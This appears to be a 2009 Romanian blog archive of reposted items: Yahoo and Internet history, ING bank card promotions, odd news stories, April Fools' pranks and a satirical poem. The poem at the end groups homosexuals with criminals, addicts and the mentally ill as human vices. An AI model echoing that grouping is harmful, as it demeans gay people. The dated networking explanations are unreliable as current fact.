Yahoo!
Cei doi dezvoltatori ai lui Yahoo! ("Yet Another Hierarchical Officious Oracle"), David Filo si Jerry Yang, au lansat acest portal al web-ului in aprilie 1994. Initial era o unealta rezervata uzului personal, acestia dandu-si ulterior seama ca listele lor incepeau sa devina foarte importante, dar in acelasi timp si dificil de administrat.

Nascut dintr-o idee simpla, inceput ca hobby, Yahoo a devenit, in timp, o adevarata intreprindere. Yahoo a cunoscut un succes fulminant si milioane de oameni l-au folosit regulat pentru a explora web-ul. O data cu lansarea lui Yahoo!France, portalul s-a extins cu Yahoo!Japon, Yahoo!Canada, Yahoo!Germany, Yahoo!Irlande, Yahoo!Spany.

Echipa primeste peste 500 de inscrieri zilnice. Site-urile al caror continut este ilegal sunt "exilate" si totodata, se face distinctia intre site-urile comerciale si celelalte. De asemenea, Yahoo se vrea a fi foarte precis in ceea ce priveste clasamentul geografic al site-urilor. Ca si concurentii sai, Yahoo! propune servicii gratuite: informatii financiare, meteo, sport, stiri, selectia saptamanii, site-urile zilei remarcate de surferi, adrese de e-mail gratuite etc.

La un moment dat, Yahoo! chiar a detinut suprematia prin milioanele de accesari zilnice.Intr-o alta categorie ar putea intra si uneltele de cautare care au in spate asistenta umana.

Aici intra WebHelp () realizat de Softwin pentru tarile francofone. Pana acum cateva luni, puteai afla raspunsul la aproape orice intrebare, in mod gratuit. Insa acum lucrurile s-au schimbat.Daca vrei sa gasesti ceva, te costa.
Totusi, pentru a vedea cum se desfasoara cautarea, care este calitatea informatiei afisate in urma cautarii, ti se ofera posibilitatea de a ti se raspunde gratuit la 2 intrebari.

Te inscrii, ti se da o parola si... ai pornit la treaba!Diferenta fata de alte motoare de cautare constand astfel in faptul ca raspunsurile la intrebari nu ti se ofera automat, ci prin intermediul asistentei umane. Adica te vei "conversa" cu unul dintre oamenii echipei WebHelp pentru a-ti putea raspunde exact la ceea ce cauti.

Sursa: Anunturi

Internet

2009-11-06T17:23:00.002+02:00

Ce este Internetul?
Daca secolul XX se spune pe drept cuvint ca a apartinut tehnologizarii culminand in ultimii ani cu informatizare si dezvoltarea ciberneticii prin produsele finite calculatoarele, secolul viitor se spune ca va fi al comunicatiilor. Daca la inceput au fost semnalele morse, telegraful apoi telefonul care a revolutionat comunicatiile lucrurile au evoluat puternic la sfarsitul acestui secol culminad in zilele noastre cu un noi si puternic concept numit Internet. Ce este internetul, o scurta istorie si cum functioneaza voi explica in urmatoarele randuri.
Ce este Internetul?
Internetul, istorie si cum functioneaza.
Numit si reteua retelelor, Internetul isi are originea in ARPANET si in NSFNET. Internetul este mai mult decat o suma de conecsiuni, desigur nimeni nu a prevazut cum aceasta trecere de la o retea militara la una publica si comerciala ne va afecta felul in care gandim despre informatie si comunicare.
Care este originea Internetului si a World Wide Web?
Cum functioneaza?
Cum ma pot conecta la Internet?
O scurta istorie...
In perioada anilor 60 Departamentul de Aparare a Statelor Unite avea nevoie de o retea de comunicare in cazul unui atac nuclear. RAND o corporatie militara a propus centralizarea comunicatiilor intr-o retea. Aceasta retea continea noduri capabile sa transmita si sa primeasca mesaje. Fiecare nod isi avea propria adresa astfel incat mesajul putea transmite un anumit nod. Departamentul apararii pentru proiecte avansate (The Defense Department's Advanced Research Projects Agency) cunoscut sub numele de ARPA sau DARPA a decis sa extinda aceasta retea. In 1969 primul "Interface Message Processor", predecesorul router-ului de azi a fost instalat la UCLA (University of California in Los Angeles) incat ARPANET-ul a inceput sa se extinda. ARPANETUL include cateva servicii care sunt si azi foarte importante in Internetul de azi, cum ar fi FTP-ul (File Transfer Protocol), remote login (TELNET) si E-mail (electronic mail). In timp ce ARPANET-ul incepe sa creasca, companii ca Xerox dezvolta tehnologia retelelor locale (LAN). Reteaua cu cel mai mult impact a fost Ethernet-ul, retea ce permitea conectarea mai multor calculatoare impreuna. Prima versiune avea teoretic o rata de transfer de 3 Mbps si mai tarziu 10 Mbps. Cercetatorii de la ARPANET au inceput sa creada ca ar fi folositor sa conecteze LAN-urile la ARPANET. Pentru a putea realiza acest lucru a fost dezvoltat un protocol pentru a putea conecta tipuri diferite de echipamente. Astfel TCP-ul (Transmission Control Protocol) si Internet Protocol (IP). In 1983 cresterea Internetului a fost impulsionata de aparitia versiunii 4.2 BSD de UNIX care continea si protocolul TCP/IP.
Cum functioneaza Internetul
Pentru a intelege cum functioneaza Internetul, trebuie sa intelegeti ca Internetul nu este o entitate omogena. Intradevar este un mare miracol ca totusi functioneaza. Internetul are o structura, astfel incat daca vrei sa trimiti un E-mail la calculatorul vecinului mesajul trebuie sa strabata sute de mile. Mai mult chiar, masinile care sunt conectate nu au fost construite sa comunice direct intre ele. Si totusi Internetul functioneaza.
Despre cele mai cunoscute protocoale de retea
Structura Internetului
Puntul de inceput pentru toti pe Internet este ISP-ul (Internet Service Provider ). Un ISP poate fi comercial sau o scoala sau un colegiu, universitate,etc. Unii utilizatori pot fi conectati in LAN ,altii pot avea acces la Internet folosind un modem si o conexiune PPP sau SLIP. Toate ISP-urile sunt conectate la Internet prin alte ISP-uri. La cel mai de jos nivel un ISP local este conectat cu un alt ISP local. Urmatorul nivel este reprezentat de ISP-urile care fac legatura cu alte ISP-uri din exterior.
Routere si TCP/IP
Cum cererea dvs isi gaseste calea catre un site si cum informatia isi gaseste calea, este determinat de doua lucruri: routerele si protocoalele TCP/IP. Routerele (uneori numite si gateway) sunt asemanatoare cu operatorii telefonici. Ei conecteaza retelele intre ele si au tabele de rutari pentru a determina cum circula informatia din si spre Internet. Routerele au un IP pentru fiecare legatura, de exemplu un router care are o conexiune PPP si doua conexiuni ETHERNET ar trebui sa aiba 3 IP-uri. Secretul care face Internetul sa mearga este protocolul TCP/IP. IP este componenta care muta pachetele de date catre un nod al retelei catre altul. TCP este componenta care verifica daca datele au ajuns unde trebuie. IP este un numar unic pentru fiecare calculator. Exista trei clase de IP-uri. Clasa A foloseste primul numar pentru a identifica reteaua si ultimile 3 numere pentru a identifica calculatorul. Clasa B foloseste primele doua numere pentru a identifica reteaua si ultimile doua numere pentru a identifica calculatorul. Clasa C (cele mai des folosit) foloseste primele 3 numere pentru a identifica reteaua si doar ultimul numar pentru a identifica calculatorul. Clasa IP-ului este strins legata de numarul de calculatoare din retea. Dar pentru ca este mai usor de tinut minte un nume decat un numar Internetul foloseste si un Domain Name. Daca routerul este operatorul pe Internet, atunci Domain Name Service (DNS) este cartea de telefon. Astfel puteti sa-mi trimiteti un e-mail folosind numele si IP-ul popesculauragrupa54@192.34.55.34 sau mai simplu popesculauragrupa54@yahoo.com
SLIP and PPP
Cele mai folosite metode de a te conecta la Internet folosind un modem sunt Serial Line Interface Protocol (SLIP) si Poit to Point Protocol (PPP). Daca ISP-ul permite folosirea SLIP si PPP alegeti PPP pentru ca este mai rapid si ma sigur. SLIP nu face corectie dar este mai usor de configurat decat conexiunea PPP. Pentru a folosi una din aceste metode de acces, ISP trebuie sa va ofere acest serviciu. De asemenea trebuie sa aveti un software care suporta SPLIP/PPP.
Cum sa ma conectez
Modemuri, Legaturi Directe, si conectare la Internet
Pentru a te conecta la Internet sunt necesare doua lucruri: un ISP si un mod de a te conecta la acest provider. Cea mai comuna metoda de a te conecta este folosind un modem cuplat la linia telefonica ori sa ai acces direct la Internet.
Conectarea la Internet folosind un modem
Cea mai comuna metoda de a te conecta la Internet este folosirea unui modem legat la o linie telefonica. Modemul (MOdulator/DEModulator) este necesar pentru a converti semnalele digitale din calculator in semnale analogice pentru a putea fi transmise pe o linie telefonica obisnuita, si invers. Modemurile sunt disponibile in versiune externa si in versiune interna. Modemurile externe au propria carcasa, sursa de tensiune separata si se conecteaza cu calculatorul prin cablu serial. Modemurile interne se conecteaza la un slot in calculator si folosesc sursa calculatorului. Alegerea modemului tine mai mult de gust decat de performanta. Modemurile interne sunt mai ieftine decat cele externe. Modemurile externe au un display care furnizeaza diverse informatii si pot fi miscate usor la alt calculator
Despre WWW
World Wide Web (cunoscut si sub numele de WWW,W3,sau simplu Web) a facut ca accesul pe Internet la o informatie pentru o persoana obisnuita sa fie mult mai usor. WWW-ul este serviciul Internet care s-a dezvoltat cel mai mult in ultimii ani (si care este si cel mai utilizat). Pe Web poti gasi informatii privitoare la o reteta culinara sau cum sa-ti faci o bomba termonucleara, practic toate cunostintele omenirii sunt adunate acolo.
Sursa: Anunturi

Noul ING CARD STUDENT

2009-11-02T18:44:00.002+02:00

Noul ING CARD STUDENT

Beneficii
* Folosind ING Card Student ai parte de costuri mici ... (sub costurile standard)
* Castigi independenta, dar si responsabilitati
* Reusesti sa strangi niste bani in plus
* Contul atasat Cardului Student poate fi recreditat de parinti
* Platesti facturile usor
* Nu mai schimbi banii cand pleci in vacanta in strainatate
* Iti primesti bursa sau banii de la parinti pe ING Card Student, nu mai stai la cozi

Descriere
* Ai dobanda fantastica de 8% pentru banii din cont curent atasat lui ING Card Student
* Poti face plati peste tot unde vezi sigla VISA si chiar si pe net
* Ai scapat de comisionul de administrare si de retragere pana la absolvire
* Nu platesti comisionul de transfer prin intermediul Multimatului ING si al serviciului Home'Bank ING
* Te incadrezi pentru ING Card Student daca esti student intre 18 si 24 de ani
* Ai un card suplimentar gratuit pentru ca cei care iti trimit bani sa poata actiona rapid

Cat ma costa
* Taxa de deschidere si activare cont: 0 lei
* Taxa anuala de administrare a contului: 0 lei
* Taxa de inchidere cont: 0 lei
* Taxa de emitere a cardului : 0 lei
* Taxa anuala de intretinere a cardului: 0 lei
* Taxa activare ING Home'Bank: 0 lei
* Retragere si depunere de numerar la ING Bancomat: 0 lei
* Retragere de numerar la bancomatul altei banci: 0.5% + 2,5 lei
* Comision pentru platile la comercianti in Romania si in strainatate cu ING Card (Visa Electron International): 0 lei
* Comision pentru verificarea soldului: 0 lei

Documente necesare
* Carte de identitate
* Unul dintre urmatoarele documente vizate: carnet de student, legitimatie, adeverinta de student

De aceea am pulicat aceste beneficii, pentru ca tu daca esti student sa beneficiezi de aceste facilitati oferite de ING.In plus nu fac reclama. ;)

Noul card cu cip

2009-11-02T18:44:00.000+02:00

ING Bank a lansat primul card MasterCard cu cip emis in Romania, anunta un comunicat al bancii

Cardul MasterCard Standard International lansat de ING beneficiaza de ultima tehnologie in domeniul cardurilor cu chip, oferind o mai mare siguranta impotriva copierii. MasterCard Standard International reprezinta un produs de debit, destinat clientilor ING persoane fizice, utilizabil in tara si peste hotare.

Dintre principalele beneficii functionale, MasterCard Standard International ofera acces in reteaua MasterCard (19,4 milioane de puncte comerciale de acceptare, 600 mii de ATM-uri) si nu are restrictii la rezervari (cazare, inchirieri auto, linii aeriene, etc.)

Cardul MasterCard Standard International (MCSI) este un produs complementar cardului ING VISA Electron International. De aceea, noul card se va acorda clientilor ING care detin deja un card VISA Electron International.

Incepand cu data de 03 aprilie 2006, oferta ING de baza adresata clientilor persoane fizice va avea urmatoarea structura:

VISA Electron International, card atasat contului curent Cont’ROL

VISA Electron International, card atasat conturilor in EURO

MasterCard Standard International (MCSI), card atasat contului curent Cont’ROL (card complementar).

ING Bank va finaliza in termen scurt migrarea tuturor produselor card VISA cu banda magnetica catre tehnologia chip compatibila EMV. Portofoliul existent de carduri va functiona conform specificatiilor initiale, pe toata perioada validitatii cardului.

ING creste dobanda la Cont'ROL

ING a mai anuntat majorarea dobanzii pentru conturile Cont'ROL. Astfel, incepand cu data de 4 aprilie 2006, ING Bank creste dobanda la contul curent Cont’ROL, de la 6,75% la 6,85%, pentru un sold minim de 700 RON (sold maxim 500,000 RON). Produsul este disponibil pentru persoane fizice prin intermediul retelei de ING Office-uri.

Dobanda se calculeaza zilnic, la soldul aflat in cont la sfarsitul zilei, banii putand fi rulati in decursul aceleiasi zile. Contului ii pot fi atasate mai multe carduri - clientul poate opta pentru MasterCard Standard International, lansat de ING pe 3 aprilie 2006, primul card MasterCard cu chip emis in Romania - cu care are acces in Self’Bank, unde isi gestioneaza singur situatia financiara. in plus, contul are inclus un beneficiu in caz de deces prin accident (soldul clientului din ziua precedenta evenimentului asigurat se dubleaza), suma minima virata fiind de 1500 RON, iar suma maxima – 50.000 RON.

O tânără trebuie să plătească 18.400 euro după ce a sărutat un tablou

2009-11-01T13:03:00.000+02:00

O tânără trebuie să plătească 18.400 euro după ce a sărutat un tablou
O tânără din Cambodgia care a lăsat o urmă de ruj când a sărutat un tablou realizat de pictorul american Cy Twombly, în iulie 2007, în Avignon, din sud-vestul Franţei, a fost condamnată la plata unei amenzi de 18.400 de euro pentru restaurarea acestuia.

Decizia a fost aceeaşi cu cea pronunţată în primă instanţă de tribunalul corecţional din Avignon, în august 2008.

Sate fantoma in Bacau

2009-11-01T13:00:00.002+02:00

Sate fantoma in Bacau
Cinci sate din judetul Bacau, desi figureaza in documentele in administratiei si pe harti, nu mai exista decit pe hirtie, in realitate in locul respectiv aflindu-se terenuri agricole.

In perioada sistematizarii satelor, locuitorii citorva comune din judetul Bacau au fost mutati fortat la oras iar locul unde isi aveau gospodariile a devenit teren agricol. Cu toate acestea satele respective sint inca pe harti si in structura administrativa. Astfel, Poiana, din Comuna Clonesti, unde traiau 145 de oameni, din comuna Plopana, care avea 70 de locuitori, Valea Fanatului - Secuieni, cu 20 de suflete, Bota, din Ungureni, cu noua persoane si Costei, din Saucesti, cu 120 locuitori au devenit sate-fantoma.

Constantin Rotaru din fostul sat Costei, mutat acum in comuna Saucesti, isi aminteste cum conducerea de partid din 1969 ii interzicea sa-si lase pasarile pe cimp, iar despre construit, fie si macar un gard, nici nu era vorba. Pentru ca isi acoperise casa cu tabla omul a fost amendat cu 200 de lei.

Satele fantoma figureaza inca in registrele administratiei si problemele apar la o data la zece ani, cind se face recesaminte. "Pentru ca sint inca inregistrate trebuie sa asiguram personal care sa se deplaseze chiar si in satele desfiintate. Pocedura impune obligativitatea ca recenzorii sa se deplaseze pentru a constata aceasta situatie si sa noteze ca aceste localitati au populatie 0 (zero)" Eugenia Harja, director Directia judeteana pentru statistica Bacau.

In Romania, pentru a desfiinta un astfel de sat, este necesara emiterea unei hotariri de guvern.

Un barbat s-a batut singur, apoi a batut asistentele

2009-11-01T13:00:00.001+02:00

Un barbat s-a batut singur, apoi a batut asistentele
Un barbat a luat la bataie asistentele Serviciului de urgenta al Spitalului Judetean Alba.

Gheorghe Lupu, in virsta de 34 de ani, s-a prezentat la serviciul de urgenta al spitalului, prezentind diverse taieturi si contuzii provocate chiar de el, apoi si-a dat singur cu o sticla in cap. El a inceput sa le fugareasca pe asistente, pe doctorul Carmen Popa si pe soferul ambulantei cu care fusese transportat la spital. Lupu a reusit sa bata citeva asistente, a rupt cearsafuri, perdele si a distrus o parte din aparatura medicala.

El a fost imobilizat cu greu si trimis la neuropsihiatrie, in vederea internarii, insa a refuzat. In prezent, Gheorghe Lupu se afla in libertate

România – singura ţară cu pietoni pe autostradă

2009-11-01T12:55:00.000+02:00

România – singura ţară cu pietoni pe autostradă

Pe A2 se plimbă ţărani care merg la câmp, iar pe A1 - bucureşteni aflaţi la shopping în magazinele de lângă autostradă
Alţii sar gardul ca să-şi cumpere pâine sau medicamente.
Daniela îşi descheie pantalonii, îi trage în jos şi le arată poliţiştilor fundul gol, durduliu, traversat doar de aţa chiloţilor tanga. Afară, un frig de-ţi clănţăne dinţii. Poliţiştii înlemnesc. E prima dată când un „muşteriu” le arată posteriorul. Înainte de asta, femeia îi înjurase de mamă, le strigase obscenităţi şi le arătase degetul mijlociu. „Asta ne-a spurcat aşa, de dimineaţă, clar n-o să ne meargă bine azi”, se plânge agentul-şef Oncescu. Pe Daniela au prins-o pe banda de urgenţă a autostrăzii Bucureşti-Piteşti: stătea băţ acolo, făcând cu mâna la ocazie. Încă un pas dacă ar fi făcut în faţă, ar fi ras-o maşinile de vie. Au amendat-o cu 540 de lei şi cu încă 1000 de lei pentru injurii şi fundul gol. Astăzi, marţi, este o acţiune a Poliţiei Autostrăzi; îi vânează pe pietonii care traversează autostrada sau merg pe marginea ei. S-au aşezat strategic, cum ieşi din Bucureşti, în zona comercială. 70 la sută dintre accidentele cu pietoni pe A1 exact în punctul ăsta se întâmplă. Oamenii sar pârleazul peste autostradă şi trec cu plasele de cumpărături de la un magazin la altul. Este oficial: suntem singura ţară europeană în care oamenii traversează autostrada la pas, de câte ori au treabă pe partea cealaltă.
INCONŞTIENŢĂ Unii confundă banda de urgenţă cu trotuarul

România – singura ţară cu pietoni pe autostradă
de Alina BĂDĂLAN TURCITU | 25 MARTIE 2009

Pe A2 se plimbă ţărani care merg la câmp, iar pe A1 - bucureşteni aflaţi la shopping în magazinele de lângă autostradă

Alţii sar gardul ca să-şi cumpere pâine sau medicamente

3 foto 0 audio 0 video 0 alte fisiere

Şofer cu experienţă, şi-a parcat tirul pe autostradă ca să-şi ia nişte pastile de la farmacie Foto: Valeriu Tanasoff
Daniela îşi descheie pantalonii, îi trage în jos şi le arată poliţiştilor fundul gol, durduliu, traversat doar de aţa chiloţilor tanga. Afară, un frig de-ţi clănţăne dinţii. Poliţiştii înlemnesc. E prima dată când un „muşteriu” le arată posteriorul. Înainte de asta, femeia îi înjurase de mamă, le strigase obscenităţi şi le arătase degetul mijlociu. „Asta ne-a spurcat aşa, de dimineaţă, clar n-o să ne meargă bine azi”, se plânge agentul-şef Oncescu. Pe Daniela au prins-o pe banda de urgenţă a autostrăzii Bucureşti-Piteşti: stătea băţ acolo, făcând cu mâna la ocazie. Încă un pas dacă ar fi făcut în faţă, ar fi ras-o maşinile de vie. Au amendat-o cu 540 de lei şi cu încă 1000 de lei pentru injurii şi fundul gol. Astăzi, marţi, este o acţiune a Poliţiei Autostrăzi; îi vânează pe pietonii care traversează autostrada sau merg pe marginea ei. S-au aşezat strategic, cum ieşi din Bucureşti, în zona comercială. 70 la sută dintre accidentele cu pietoni pe A1 exact în punctul ăsta se întâmplă. Oamenii sar pârleazul peste autostradă şi trec cu plasele de cumpărături de la un magazin la altul. Este oficial: suntem singura ţară europeană în care oamenii traversează autostrada la pas, de câte ori au treabă pe partea cealaltă.

Urinatul pe banda de urgenţă

Ţinta următoare sunt doi bărbaţi. Merg liniştiţi pe marginea autostrăzii. În goană, maşinile îi mai fâlfâie câte puţin, dar se ţin mândri. Au văzut ei că la o sută de metri în faţă sunt nişte poliţişti, dar nici nu le-a trecut prin cap ce pândesc. Senini, bărbaţii se opresc şi.... fac pipi pe banda de urgenţă, cu faţa spre poliţişti. „De ce mergeaţi pe autostradă?”, îi ia în primire agentul Oncescu. „Păi am rămas fără benzină la maşină şi am venit încoace, să caut o benzinărie. Am lăsat maşina sub pod”. Poliţistul ar vrea să-i facă educaţie: „Întrebarea fundamentală este: de ce? De ce aţi rămas în pană de benzină?”. „Păi ce vroiaţi, dom’ne, să scuip în rezervor ca să merg mai departe?”. Sare şi Ionuţ, agentul-boboc: „Dar chiar acolo, pe banda de urgenţă, aţi făcut şi un gest necugetat”. „Ce gest?”. Agentul se cam sfieşte: „Păi... necesităţile”. Pe şofer în pufneşte râsul. „Hai, mă, că sunt altele mai importante. Alţii conduc fără permis, pe Piedone de ce nu-l amendaţi, că şi-a obţinut aiurea permisul?”. La plecare, le suflă un pont poliţiştilor: „Uite, la kilometrul 36 sunt nişte curve aşa de frumoase!”.

Următorul pieton – un bărbat care se plimbă pe banda de urgenţă la pas lejer, ca şi cum ar merge prin Cişmigiu. În spatele lui, doi paznici sar gardul pitic al autostrăzii şi o traversează în fugă. „Ştiţi, autostrada nu este pentru pietoni”. „Păi nu merg pe autostradă, ci pe marginea ei”, zice bărbatul. Doi poliţişti se reped să-i explice că aia e banda de urgenţă. Bărbatul rămâne cu gura căscată. „Daa? Sincer, am crezut că e un trotuar special pentru pietoni. Eu ziceam că e bandă de siguranţă pentru noi”. Şi mai apar câţiva, unul după altul - un muncitor cu fes plin de moloz, care traversează să-şi ia o pâine de la magazin, că pe partea lui de autostradă sunt numai magazine cu mobilă. Şi un tirist pe care-l doare rău capul. Şi-a parcat maşina pe autostradă şi a luat-o uşor la pas, să caute o farmacie. „Am traversat de-a dreptul fiindcă nu era nici o trecere de pietoni pe autostradă”, au motivat.

„De unde să ştiu eu ce e o autostradă? Că la noi, la Buzău, n-avem“

Dar de Iulian parcă şi poliţiştilor le-a părut rău. E profesor de ţară şi locuieşte în Buzău. Vine agale dinspre oraş spre centrul comercial, tot aşa, pe lângă maşini. Cam un kilometru a parcurs pe jos. „Dar n-am mers pe autostradă, ci pe lângă ea, prin şanţ”. Agentul Oncescu: „N-aveaţi voie ca pieton pe acolo”. „Dom’ne, dar de unde să ştiu eu? Că la noi, la Buzău, n-avem autostrăzi. Eu n-am mers în viaţa mea pe autostradă, nici măcar nu ştiu ce e aia”. „Păi e o stradă cu mai multe benzi”. „Daa? Dar tot n-am înţeles pe unde trebuia să merg ca să ajung aici.”. „În nici un caz pe jos. Trebuia să luaţi autobuzul 137”. „Am încercat, dar nu era nici un ghişeu de bilete şi n-am vrut să iau amendă. Şi puteam să vă mint că pe toată distanţa asta am venit pe arătură”. „Imposibil, Bucureştiul n-are arături”.

Agentului Iulian i se face milă. „Ştiu, vă este greu. Dar, dacă mai aveţi şi alte menţiuni şi obiecţiuni...”. Peste o jumătate de oră, Iulian revine disperat: „Mi-au furat 3 milioane din buzunar. Cred că era unul dintr-un Matiz închis la culoare... cu un şofer mic şi îndesat”. Agenţii încearcă să-l ajute: „Păi, trebuie să faceţi o plângere la Poliţie”. „Păi o fac acum la dumneavoastră”. „Nu, trebuie întâi să sunaţi la 112, număr netaxabil, gratuit ...”.

Pe tanti Gherghina au prins-o când se întorcea de la cimitir. Nu mergea chiar pe autostradă, ci pe margine, prin boscheţi, în afara ei. Este a doua oară când se duce la cimitir să se îngrijească de mormântul bărbatului. Omul încă n-a murit, dar e bolnav. Fiindcă se întoarce de la cimitir, scapă numai cu un avertisment.

Ţăranii care traversează autostrada cu sapa în spinare

„Pe A2 ţăranii trec cu sapa în spinare pe autostradă. Am avut două, trei accidente aşa. Oamenii vroiau să meargă la câmp, dar câmpul era pe partea cealaltă a autostrăzii. Pe o bătrână maşina nici n-a atins-o, a lovit-o direct în sapă, i-a învârtit-o de câteva ori, apoi sapa a lovit-o peste amândouă picioarele. A scăpat cu nişte fracturi”, zice George Grigore, şeful Poliţiei Autostrăzi. Dar asta nu e nimic. Anul trecut au fost 13 accidente cu şapte morţi şi şapte răniţi grav. Pe doi i-au găsit ţinuţi de mână. Unul a murit, celălalt a scăpat. Altă victimă a pierit întinsă pe 80 de metri de autostradă. Anul ăsta a mai fost un accident mortal. Nu l-au identificat pe om, aşa că poliţiştii l-au înmormântat pe banii lor. Pe banii lor i-au făcut coşciug şi cruce.

Un poliţist mai milos i-a adus de acasă şi colivă. Şeful Poliţiei Autostrăzi ne mai spune: „Am făcut demersuri la Compania Naţională de Autostrăzi să facă o pasarelă sau un pasaj în zona aceasta, dar ni s-a răspuns că e prea scump, vreo 200-300.000 de euro. Mâine (astăzi, n.r.) ne întâlnim cu agenţii economici din zonă, să le propunem să construiască ei o pasarelă, din banii lor. Sau măcar un gard de doi metri, care să nu poată fi escaladat sau distrus. Că hipermarketul din zonă a pus mai demult un gard, dar l-au distrus pietonii, încercând să-l sară”.

Topul mondial al celor mai incredibile pacaleli de 1 aprilie

2009-11-01T12:53:00.000+02:00

Topul mondial al celor mai incredibile pacaleli de 1 aprilie

Originea Zilei pacalelilor nu este cunoscuta. Ipoteza cea mai plauzibila este ca obiceiul ar veni din lumea francofona.
Obiceiul zilei pacalelilor s-a raspandit atat de mult de-a lungul secolului XX, incat astazi pare de mirare ca unii inca se mai lasa pacaliti. Cu toate astea, an dupa an, un mare numar de oameni continua sa cada in capcane grotesti sau sunt gata sa creada cele mai fanteziste stiri transmise de radio si TV ori publicate in acea zi in ziare. Presa face uneori dovada unei infinite inventivitati in a croi povesti neverosimile, care sunt de obicei demascate a doua zi. Este greu de stabilit un palmares, dar e posibil ca medalia credulitatii sa trebuiasca sa le fie acordata acelor belgieni care au postat mesaje de indignare si protest pe site-ul celui mai mare provider de internet din Belgia, Skynet, care pe 1 aprilie 2006 a anuntat, in cele trei limbi nationale, ca date fiind tensiunile crescande dintre flamanzi si valoni, umorul in public va fi interzis prin lege.
Specialistii ar putea insa argumenta ca marele premiu le-ar reveni de fapt americanilor care in 1998 au crezut
anuntul publicat de catre lantul de restaurante fast food Burger King, prin care se facea cunoscuta lansarea unui hamburger pentru stangaci, conceput astfel incat ingredientele sa curga numai spre dreapta. (Ulterior, unii clienti au fost chiar auziti comandand: "Un hamburger normal, pentru dreptaci, va rog!".) Se poate insa argumenta ca nimeni nu a depasit inventivitatea BBC-ului, care pe 1 aprilie 1957 a difuzat un reportaj in care puteau fi vazuti elvetieni care culegeau recolta de spaghetti, excelenta in acel an. Asa cum putea fi prevazut, multi telespectatori au telefonat intreband cum ar putea obtine si ei seminte pentru un arbore de spaghetti.
BBC-ul si-a depasit insa performanta anul trecut, difuzand un reportaj despre migratia anuala a pinguinilor zburatori din Antarctica pana in jungla amazoniana.
Originea Zilei pacalelilor nu este cunoscuta, cu toate ca internetul si ziarele sunt pline de teorii care de care mai nefondate. Ipoteza cea mai plauzibila este ca obiceiul ar veni din lumea francofona. Franta, precum si Canada, Belgia si Elvetia, in partile lor francofone, sunt singurele care poseda un ritual elaborat in jurul a ceea ce se numeste "poisson d’avril", "peste de aprilie". In aceasta zi, copiii se straduiesc sa prinda pe spatele adultilor sau al altor copii pesti din hartie sau carton, pe care victimele nebanuitoare ii poarta pe strada. "Pestele de aprilie" este, de altfel, sub influenta franceza, denumirea pacalelilor de 1 aprilie in alte tari care vorbesc limbi neo-latine, Italia, Portugalia si Spania. Tot din Franta si-au luat olandezii si flamanzii ziua lor a "pestelui de aprilie", "Aprilvis".
Rusii, in schimb, au importat obiceiul sub influenta britanica, numele rus al acelei zile fiind, ca in engleza, "Ziua prostilor". Deseori, obiceiul poate duce chiar la crude derive: astfel, in Flandra copiii cauta sa se incuie in casa in aceasta zi sau mai degraba sa-si incuie parintii afara, indiferent de vreme (in Flandra in general ploioasa), parintii trebuind sa-si negocieze reprimirea in casa prin umile promisiuni de dulciuri si cadouri
extravagante.

Berea, apa romanului pe timp de criza

2009-11-01T12:50:00.000+02:00

Berea, apa romanului pe timp de criza

Consumată foarte mult vara, berea rămâne o afacere profitabilă pe timp de criză. Aşa cum spun specialiştii, e posibil ca anul acesta vânzările să nu stagneze, ci să crească.

Vânzările de bere cresc de la an la an în România, potrivit statisticilor asociaţiilor de specialitate. Intrată în topul primelor 20 ţări din lume şi situată pe locul şase în Europa privind consumul de bere, România.

Americanii vor sa cultive legume pe LUNA

2009-11-01T12:48:00.000+02:00

Americanii vor sa cultive legume pe LUNA

Oamenii de ştiinţă din SUA plănuiesc sa experimenteze cultivarea unor plante – precum varza de Bruxelles – pe Lună, pentru a afla dacă o viitoare colonie selenară şi-ar putea produce singură hrana.

Compania americană Paragon Space Development Corporation, care întreprinde experimentul în colaborare cu NASA, a anunţat că planuieşte să debarce pe Lună cateva mini-sere destinate cultivării de flori si legume

Stiri comice

2009-11-01T12:45:00.002+02:00

Stiri comice

*O clujeanca de 58 de ani a murit in timp ce facea sex

*Americanii vor sa cultive legume pe Luna

*Berea, apa romanului pe timp de criza

*Topul mondial al celor mai incredibile pacaleli de 1 aprilie

*Romania – singura tara cu pietoni pe autostrada

*Un barbat s-a batut singur, apoi a batut asistentele

*Sate fantoma in Bacau

*O tânără trebuie să plătească 18.400 euro după ce a sărutat un tablou

*O clujeanca de 58 de ani a murit in timp ce facea sex

2009-11-01T12:45:00.001+02:00

*O clujeanca de 58 de ani a murit in timp ce facea sex

De o noapte intr-adevar de neuitat a avut parte un barbat din judetul Bistrita-Nasud. Partenera lui, o doamna mai in varsta din Cluj, pe care abia o cunoscuse, a murit tocmai in timp ce dragostea era mai aprinsa intre ei. Barbatul o invitase la el acasa, ca sa-si alunge amandoi singuratatea, dar in scurt timp si-a dat seama ca sta intins langa un cadavru. Omul nu a fost casatorit niciodata si locuieste cu parintii sai. Pe femeie o cunoscuse la barul din sat si nu l-a impiedicat faptul ca ea avea 58 de ani si el doar 38. A invitat-o acasa la el, dar nu o putea duce inauntru, pentru ca acolo dormea mama lui, asa ca au ajuns in sura. E drept, povesteste barbatul socat, ca atunci cand a vazut-o prima oara, statea ghemuita pe treptele barului. Nu i-a spus insa ca ar avea probleme de sanatate. A acceptat sa petreaca noaptea cu el si cand omul era mai infocat, a realizat ca partenera sa nu se mai misca.

REPLICA MAIMUTELOR

2009-10-31T19:16:00.001+02:00

REPLICA MAIMUTELOR
Originea omului

Odată, o maimuţă din neamul Anecdotic,
Venind la sfat pe-o creangă de arbore exotic,
A zis: Atenţiune! Sunt foarte afectată!
Tot circulă o vorbă, deloc adevărată
Că omul ar descinde din buna noastră rasă.
Ba chiar ideea asta îmi pare odioasă!
Şi, zău, savantul Darwin, tot neamul ni-l jigneşte
Când spune cum că omul cu noi se înrudeşte!
Aţi pomenit vreodată divorţuri printre noi?
Copii lăsaţi pe drumuri sau arme de război?
Am inventat, noi, cipuri şi alte drăcării?
Însemne sataniste, otrăvuri, şmecherii?
Văzut-aţi pe vreunul, retras în jungla deasă,
Ca să scornească arma distrugerii în masă?
Tot ce lăsăm în urmă, când mai sărbătorim,
E biodegradabil. Natura o-ngrijim.
Iar omul otrăveşte, în fiecare zi,
Păduri, câmpii, şi ape, şi zările-azurii…
N-avem starlete porno sau dive-travestiţi,
Şi, orişice s-ar zice, nu suntem troglodiţi!
Cine-a văzut în hoardă la noi bolnavi mintali,
Drogaţi, lacomi de sânge sau homosexuali,
Escroci, bandiţi, gherile sau vreo tutungerie?
În neamul nostru nobil nu vezi aşa prostie!
Noi n-avem mafii crude în stirpea noastră-aleasă,
Nici terorişti, nici dogme, nici luptele de clasă.
Cât am bătut eu jungla, scuzaţi, n-am observat
